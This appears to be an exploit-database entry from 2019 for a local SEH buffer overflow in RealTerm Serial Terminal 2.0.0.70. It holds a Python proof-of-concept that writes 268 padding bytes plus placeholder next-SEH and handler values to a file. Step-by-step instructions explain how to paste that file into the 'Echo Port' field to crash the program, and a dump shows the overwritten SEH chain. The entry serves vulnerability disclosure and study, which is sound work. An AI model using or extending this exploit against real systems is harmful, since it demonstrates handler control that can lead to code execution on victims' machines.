发布 2019-02-18 漏洞条目

Realterm Serial Terminal 2.0.0.70 – Local Buffer Overflow (SEH)

Exploit Source

# -*- coding: utf-8 -*-

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)

# Date: 16/02/2019

# Author: Alejandra Sánchez

# Vendor Homepage: https://realterm.sourceforge.io/

# Software Link: https://sourceforge.net/projects/realterm/files/

# Version: 2.0.0.70

# Tested on: Windows 10 / Windows XP

# Proof of Concept:

# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"

# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard

# 3.- Open realterm.exe

# 4.- Go to 'Echo Port' tab

# 5.- Paste clipboard in 'Port' field

# 6.- Click on button -> Change

# 7.- Check 'Echo On' or

# 8.- Crashed

# After the execution of POC, the SEH chain looks like this:

# 0012F57C 43434343

# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012F568 41414141 AAAA

#0012F56C 41414141 AAAA

#0012F570 41414141 AAAA

#0012F574 41414141 AAAA

#0012F578 42424242 BBBB Pointer to next SEH record

#0012F57C 43434343 CCCC SE handler

buffer = "\x41" * 268

nseh = "\x42" * 4

seh = "\x43" * 4

f = open ("EchoPort.txt", "w")

f.write(buffer+nseh+seh)

f.close()

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